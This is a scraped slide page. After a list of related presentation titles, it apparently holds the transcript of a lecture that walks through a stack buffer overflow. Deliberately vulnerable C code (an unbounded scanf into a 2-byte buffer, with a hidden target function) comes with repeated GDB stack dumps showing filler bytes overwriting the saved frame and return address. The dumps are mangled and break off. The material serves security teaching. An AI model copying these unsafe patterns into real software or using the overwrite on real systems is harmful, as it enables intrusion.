Busted !. Why Security Systems Fail Capability List.

Slides:

Advertisements

Similar presentations

Recitation 4 Outline Buffer overflow –Practical skills for Lab 3 Code optimization –Strength reduction –Common sub-expression –Loop unrolling Reminders.

Advertisements

Smashing the Stack for Fun and Profit

ByteWeight: Learning to Recognize Functions in Binary Code

Hacking: The Art of Exploitation

Array_strcpy void array_strcpy(char dest[], char src[]) { int i = 0; while (src[i] != '\0') { dest[i] = src[i]; i++; } dest[i] = '\0'; }

Sort the given string, without using string handling functions.

ABC Book by student/teacher name

UBC104 Embedded Systems Functions & Pointers.

Huffman Encoding Visualization Auto-Generated Slides To Visualize Huffman Encoding by Chris Fremgen.

Learning Letter Sounds Jack Hartman Shake, Rattle, and Read

Recitation: Bomb Lab June 5, 2015 Dipayan Bhattacharya.

CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2011.

Perl Web Page – Just Enough Pepper. Web site Set up the top of your script to indicate perl and plain text #!/usr/bin/perl print "Content-type:text/plain\n\n";

Phonics at Brandesburton Primary School Clear and precise articulation of sounds is an essential part of phonics, and its value cannot be emphasised enough.

0 Chap. 5 Pointers and Arrays 5.3Pointers and Arrays 5.4Address Arithmetic 5.5Character Pointers and Functions 5.6Pointer Arrays; Pointers to Pointers.

1 #include void silly(){ char s[30]; gets(s); printf("%s\n",s); } main(){ silly(); return 0; }

CS140: Intro to CS An Overview of Programming in C (part 3) by Erin Chambers.

The switch Statement.  Occasionally, an algorithm will contain a series of decisions in which a variable or expression is tested separately for each.

Learning the ABC’s and some words that start with them! By: Alyssa Duchon Introduction Lessons Quiz.

C By Example 1 The assumption is that you know Java and need to extend that knowledge so you can program in C. 1. Hello world 2. declarations 3. pass by.

ELF binary # readelf -a foo.out ELF Header:

1 Aa 2 a 3 apple.

EXERCISE Arrays, structs and file processing. Question You own a pet store. You want to keep an inventory of all the pets that you have. Pets available.

Introduction to Perl. What is Perl Perl is an interpreted language. This means you run it through an interpreter, not a compiler. Similar to shell script.

Bits and Bytes September 1, F’05 class02.ppt “The Class That Gives CMU Its Zip!”

International Summer School on Information and System Security Stack Based Buffer Overflows Alberto Ornaghi Lorenzo Cavallaro.

Carnegie Mellon 1 Bryant and O’Hallaron, Computer Systems: A Programmer’s Perspective, Third Edition Machine-Level Programming V: Buffer overflow Slides.

Computer Programming A simple example /* HelloWorld: A simple C program */ #include int main (void) { printf (“Hello world!\n”); return.

OUTLINE 2 Pre-requisite Bomb! Pre-requisite Bomb! 3.

CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2014.

Spring 2016Assembly Review Roadmap 1 car *c = malloc(sizeof(car)); c->miles = 100; c->gals = 17; float mpg = get_mpg(c); free(c); Car c = new Car(); c.setMiles(100);

Unit5 Let’s eat Part A Letters and sounds 王村小学刘倩.

Buffer Overflow Attacks

Machine-Level Programming V: Buffer overflow

Instructor: Fatma CORUT ERGİN

Buffer Overflow Walk-Through

1st prog! Q: Read a char – from a keyboard & display it at the beginning of the next line! ====== A.

Machine-Level Programming V: Miscellaneous Topics

Instructor: Your TA(s)

Lecture 8 String 1. Concept of strings String and pointers

Linux Userspace Process Memory Layout

Homework Reading Machine Projects Labs PAL, pp ,

Machine-Level Programming V: Miscellaneous Topics

Low level Programming.

Buffer Overflow Walk-Through

Buffer overflows Buffer overflows are possible because C does not check array boundaries Buffer overflows are dangerous because buffers for user input.

Snakes & Ladders Board Game

Miss Schwarz’s class rules

Use proper case (ie Caps for the beginnings of words)

Getting Started Download the tarball for this session. It will include the following files: driver 64-bit executable driver.c C driver source bomb.h declaration.

By: The Kid’s in Mrs. Tower’s Room

Round-up lesson Aa Bb Cc Dd Ee Ff Gg Hh Ii Jj Kk Ll Mm Nn Oo Pp Qq Rr Ss Tt Uu Vv Ww Xx Yy Zz.

Introduction to Intel x86-64 Assembly, Architecture, Applications, & Alliteration Xeno Kovah –

The English Alphabet/Alphabetic Words/Simple Sentences

CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2015.

Getting Started Download the tarball for this session. It will include the following files: driver 64-bit executable driver.c C driver source bomb.h declaration.

CNT4704: Analysis of Computer Communication Network Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Fall 2011.

Buffer Overflows CSE 351 Autumn 2018

Oct 15, 2018 Instructor: Your TA(s) 1.

ABC Book by student/teacher name

Reverse Engineering for CTFs

Ithaca College Machine-Level Programming VII: Procedures Comp 21000: Introduction to Computer Systems & Assembly Lang Spring 2017.

C By Example The assumption is that you know Java and need to extend that knowledge so you can program in C. 1. Hello world 2. declarations 3. pass.

CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2016.

Getting Started Download the tarball for this session. It will include the following files: driver 64-bit executable driver.c C driver source bomb.h declaration.

CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2013.

CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2010.

Computer Architecture and System Programming Laboratory

Instructor: Your TA(s)

Low level Programming.

Presentation transcript:

Busted !

Why Security Systems Fail

Capability List

Access Control List

name[9] 0 0 … degree[4] ‘c’‘c’ ‘c’‘c’ ‘h’‘h’ ‘h’‘h’ ‘a’‘a’ ‘a’‘a’ ‘r’‘r’ ‘r’‘r’ ‘l’‘l’ ‘l’‘l’ ‘e’‘e’ ‘e’‘e’ ‘s’‘s’ ‘s’‘s’ 0 0 ‘P’‘P’ ‘P’‘P’ ‘h’‘h’ ‘h’‘h’ ‘D’‘D’ ‘D’‘D’ 0 0 strcpy(name,”charles”); 0 0 strcpy(degree,”PhD”); 0 0 … 0 0 printf(name); printf(degree); charles PhD

‘c’‘c’ ‘c’‘c’ ‘h’‘h’ ‘h’‘h’ ‘a’‘a’ ‘a’‘a’ ‘r’‘r’ ‘r’‘r’ ‘l’‘l’ ‘l’‘l’ ‘e’‘e’ ‘e’‘e’ ‘t’‘t’ ‘t’‘t’ ‘o’‘o’ ‘o’‘o’ 0 0 strcpy(name,”charleton”); ‘n’‘n’ ‘n’‘n’ … name[9] 0 0 … degree[4] 0 0 ‘c’‘c’ ‘c’‘c’ ‘h’‘h’ ‘h’‘h’ ‘a’‘a’ ‘a’‘a’ ‘r’‘r’ ‘r’‘r’ ‘l’‘l’ ‘l’‘l’ ‘e’‘e’ ‘e’‘e’ ‘t’‘t’ ‘t’‘t’ ‘o’‘o’ ‘o’‘o’ ‘P’‘P’ ‘P’‘P’ ‘h’‘h’ ‘h’‘h’ ‘D’‘D’ ‘D’‘D’ 0 0 ‘n’‘n’ ‘n’‘n’ strcpy(degree,”PhD”); … printf(name); printf(degree); charletonPhD PhD

#include void secret1(void) { puts("You found the secret function No. 1!\n"); } int main () { char string[2]; puts("Input: "); scanf("%s", string); printf("You entered %s.\n", string); return 0; }

At startup of poof 0x e52 : push %rbp/* entry to main() */ 0x e53 : mov %rsp,%rbp 0x e56 : sub $0x10,%rsp 0x e5a : lea 0x75(%rip),%rdi 0x e61 : callq 0x100000ea4 /* puts () */ 0x e66 : lea -0x10(%rbp),%rsi 0x e6a : lea 0x6d(%rip),%rdi 0x e71 : mov $0x0,%eax 0x e76 : callq 0x100000eaa /* scanf () */ 0x e7b : lea -0x10(%rbp),%rsi 0x e7f : lea 0x5b(%rip),%rdi 0x e86 : mov $0x0,%eax 0x e8b : callq 0x100000e9e /* printf () */ 0x e90 : mov $0x0,%eax 0x e95 : leaveq 0x e96 : retq rip 0x e52 rbp 0x7fff5fbff828 rsp 0x7fff5fbff818 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x20 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x20 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

At startup of poof 0x e52 : push %rbp/* entry to main() */ 0x e53 : mov %rsp,%rbp 0x e56 : sub $0x10,%rsp 0x e5a : lea 0x75(%rip),%rdi 0x e61 : callq 0x100000ea4 /* puts () */ 0x e66 : lea -0x10(%rbp),%rsi 0x e6a : lea 0x6d(%rip),%rdi 0x e71 : mov $0x0,%eax 0x e76 : callq 0x100000eaa /* scanf () */ 0x e7b : lea -0x10(%rbp),%rsi 0x e7f : lea 0x5b(%rip),%rdi 0x e86 : mov $0x0,%eax 0x e8b : callq 0x100000e9e /* printf () */ 0x e90 : mov $0x0,%eax 0x e95 : leaveq 0x e96 : retq rip 0x e53 rbp 0x7fff5fbff828 rsp 0x7fff5fbff818 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

At startup of poof 0x e52 : push %rbp/* entry to main() */ 0x e53 : mov %rsp,%rbp 0x e56 : sub $0x10,%rsp 0x e5a : lea 0x75(%rip),%rdi 0x e61 : callq 0x100000ea4 /* puts () */ 0x e66 : lea -0x10(%rbp),%rsi 0x e6a : lea 0x6d(%rip),%rdi 0x e71 : mov $0x0,%eax 0x e76 : callq 0x100000eaa /* scanf () */ 0x e7b : lea -0x10(%rbp),%rsi 0x e7f : lea 0x5b(%rip),%rdi 0x e86 : mov $0x0,%eax 0x e8b : callq 0x100000e9e /* printf () */ 0x e90 : mov $0x0,%eax 0x e95 : leaveq 0x e96 : retq rip 0x e53 rbp 0x7fff5fbff828 rsp 0x7fff5fbff828 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

At startup of poof 0x e52 : push %rbp/* entry to main() */ 0x e53 : mov %rsp,%rbp 0x e56 : sub $0x10,%rsp 0x e5a : lea 0x75(%rip),%rdi 0x e61 : callq 0x100000ea4 /* puts () */ 0x e66 : lea -0x10(%rbp),%rsi 0x e6a : lea 0x6d(%rip),%rdi 0x e71 : mov $0x0,%eax 0x e76 : callq 0x100000eaa /* scanf () */ 0x e7b : lea -0x10(%rbp),%rsi 0x e7f : lea 0x5b(%rip),%rdi 0x e86 : mov $0x0,%eax 0x e8b : callq 0x100000e9e /* printf () */ 0x e90 : mov $0x0,%eax 0x e95 : leaveq 0x e96 : retq rip 0x e53 rbp 0x7fff5fbff828 rsp 0x7fff5fbff828 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

At startup of poof 0x e52 : push %rbp/* entry to main() */ 0x e53 : mov %rsp,%rbp 0x e56 : sub $0x10,%rsp 0x e5a : lea 0x75(%rip),%rdi 0x e61 : callq 0x100000ea4 /* puts () */ 0x e66 : lea -0x10(%rbp),%rsi 0x e6a : lea 0x6d(%rip),%rdi 0x e71 : mov $0x0,%eax 0x e76 : callq 0x100000eaa /* scanf () */ 0x e7b : lea -0x10(%rbp),%rsi 0x e7f : lea 0x5b(%rip),%rdi 0x e86 : mov $0x0,%eax 0x e8b : callq 0x100000e9e /* printf () */ 0x e90 : mov $0x0,%eax 0x e95 : leaveq 0x e96 : retq rip 0x e53 rbp 0x7fff5fbff828 rsp 0x7fff5fbff818 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

Before call to puts() 0x e52 : push %rbp/* entry to main() */ 0x e53 : mov %rsp,%rbp 0x e56 : sub $0x10,%rsp 0x e5a : lea 0x75(%rip),%rdi 0x e61 : callq 0x100000ea4 /* puts () */ 0x e66 : lea -0x10(%rbp),%rsi 0x e6a : lea 0x6d(%rip),%rdi 0x e71 : mov $0x0,%eax 0x e76 : callq 0x100000eaa /* scanf () */ 0x e7b : lea -0x10(%rbp),%rsi 0x e7f : lea 0x5b(%rip),%rdi 0x e86 : mov $0x0,%eax 0x e8b : callq 0x100000e9e /* printf () */ 0x e90 : mov $0x0,%eax 0x e95 : leaveq 0x e96 : retq rip 0x e61 rbp 0x7fff5fbff810 rsp 0x7fff5fbff800 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

Just inside of puts() 0x e52 : push %rbp/* entry to main() */ 0x e53 : mov %rsp,%rbp 0x e56 : sub $0x10,%rsp 0x e5a : lea 0x75(%rip),%rdi 0x e61 : callq 0x100000ea4 (ONE INSTRUCTION IN/* puts () */ 0x e66 : lea -0x10(%rbp),%rsi 0x e6a : lea 0x6d(%rip),%rdi 0x e71 : mov $0x0,%eax 0x e76 : callq 0x100000eaa /* scanf () */ 0x e7b : lea -0x10(%rbp),%rsi 0x e7f : lea 0x5b(%rip),%rdi 0x e86 : mov $0x0,%eax 0x e8b : callq 0x100000e9e /* printf () */ 0x e90 : mov $0x0,%eax 0x e95 : leaveq 0x e96 : retq rip 0x ea4 rbp 0x7fff5fbff810 rsp 0x7fff5fbff7f8 0x7fff5fbff7f8: 0x66 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x66 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

Just after return from puts() 0x e52 : push %rbp/* entry to main() */ 0x e53 : mov %rsp,%rbp 0x e56 : sub $0x10,%rsp 0x e5a : lea 0x75(%rip),%rdi 0x e61 : callq 0x100000ea4 /* puts () */ 0x e66 : lea -0x10(%rbp),%rsi 0x e6a : lea 0x6d(%rip),%rdi 0x e71 : mov $0x0,%eax 0x e76 : callq 0x100000eaa /* scanf () */ 0x e7b : lea -0x10(%rbp),%rsi 0x e7f : lea 0x5b(%rip),%rdi 0x e86 : mov $0x0,%eax 0x e8b : callq 0x100000e9e /* printf () */ 0x e90 : mov $0x0,%eax 0x e95 : leaveq 0x e96 : retq rip 0x e66 rbp 0x7fff5fbff810 rsp 0x7fff5fbff800 0x7fff5fbff7f8: 0x66 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x66 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

Just inside scanf( ) 0x e52 : push %rbp/* entry to main() */ 0x e53 : mov %rsp,%rbp 0x e56 : sub $0x10,%rsp 0x e5a : lea 0x75(%rip),%rdi 0x e61 : callq 0x100000ea4 /* puts () */ 0x e66 : lea -0x10(%rbp),%rsi 0x e6a : lea 0x6d(%rip),%rdi 0x e71 : mov $0x0,%eax 0x e76 : callq 0x100000eaa (ONE INSTRUCTION IN) /* scanf () */ 0x e7b : lea -0x10(%rbp),%rsi 0x e7f : lea 0x5b(%rip),%rdi 0x e86 : mov $0x0,%eax 0x e8b : callq 0x100000e9e /* printf () */ 0x e90 : mov $0x0,%eax 0x e95 : leaveq 0x e96 : retq rip 0x e66rsi 0x7fff5fbff800 rbp 0x7fff5fbff810 rsp 0x7fff5fbff7f8 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff808: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff810: 0x28 0xf8 0xbf 0x5f 0xff 0x7f 0x00 0x00 0x7fff5fbff818: 0x38 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

After return from scanf ( ) 0x e52 : push %rbp/* entry to main() */ 0x e53 : mov %rsp,%rbp 0x e56 : sub $0x10,%rsp 0x e5a : lea 0x75(%rip),%rdi 0x e61 : callq 0x100000ea4 /* puts () */ 0x e66 : lea -0x10(%rbp),%rsi 0x e6a : lea 0x6d(%rip),%rdi 0x e71 : mov $0x0,%eax 0x e76 : callq 0x100000eaa /* scanf () */ 0x e7b : lea -0x10(%rbp),%rsi 0x e7f : lea 0x5b(%rip),%rdi 0x e86 : mov $0x0,%eax 0x e8b : callq 0x100000e9e /* printf () */ 0x e90 : mov $0x0,%eax 0x e95 : leaveq 0x e96 : retq rip 0x e7b rbp 0x7fff5fbff810 rsp 0x7fff5fbff800 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff818: 0x40 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff818: 0x40 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

Just before stack cleanup 0x e52 : push %rbp/* entry to main() */ 0x e53 : mov %rsp,%rbp 0x e56 : sub $0x10,%rsp 0x e5a : lea 0x75(%rip),%rdi 0x e61 : callq 0x100000ea4 /* puts () */ 0x e66 : lea -0x10(%rbp),%rsi 0x e6a : lea 0x6d(%rip),%rdi 0x e71 : mov $0x0,%eax 0x e76 : callq 0x100000eaa /* scanf () */ 0x e7b : lea -0x10(%rbp),%rsi 0x e7f : lea 0x5b(%rip),%rdi 0x e86 : mov $0x0,%eax 0x e8b : callq 0x100000e9e /* printf () */ 0x e90 : mov $0x0,%eax 0x e95 : leaveq 0x e96 : retq rip 0x e95 rbp 0x7fff5fbff810 rsp 0x7fff5fbff800 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff818: 0x40 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff818: 0x40 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fff5fbff828: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

And ready to return to the operating system? 0x e52 : push %rbp/* entry to main() */ 0x e53 : mov %rsp,%rbp 0x e56 : sub $0x10,%rsp 0x e5a : lea 0x75(%rip),%rdi 0x e61 : callq 0x100000ea4 /* puts () */ 0x e66 : lea -0x10(%rbp),%rsi 0x e6a : lea 0x6d(%rip),%rdi 0x e71 : mov $0x0,%eax 0x e76 : callq 0x100000eaa /* scanf () */ 0x e7b : lea -0x10(%rbp),%rsi 0x e7f : lea 0x5b(%rip),%rdi 0x e86 : mov $0x0,%eax 0x e8b : callq 0x100000e9e /* printf () */ 0x e90 : mov $0x0,%eax 0x e95 : leaveq 0x e96 : retq rip 0x e96 rbp 0x rsp 0x7fff5fbff818 0x7fff5fbff7f8: 0x7b 0x0e 0x00 0x00 0x01 0x00 0x00 0x00 0x7fff5fbff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fff5fbff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 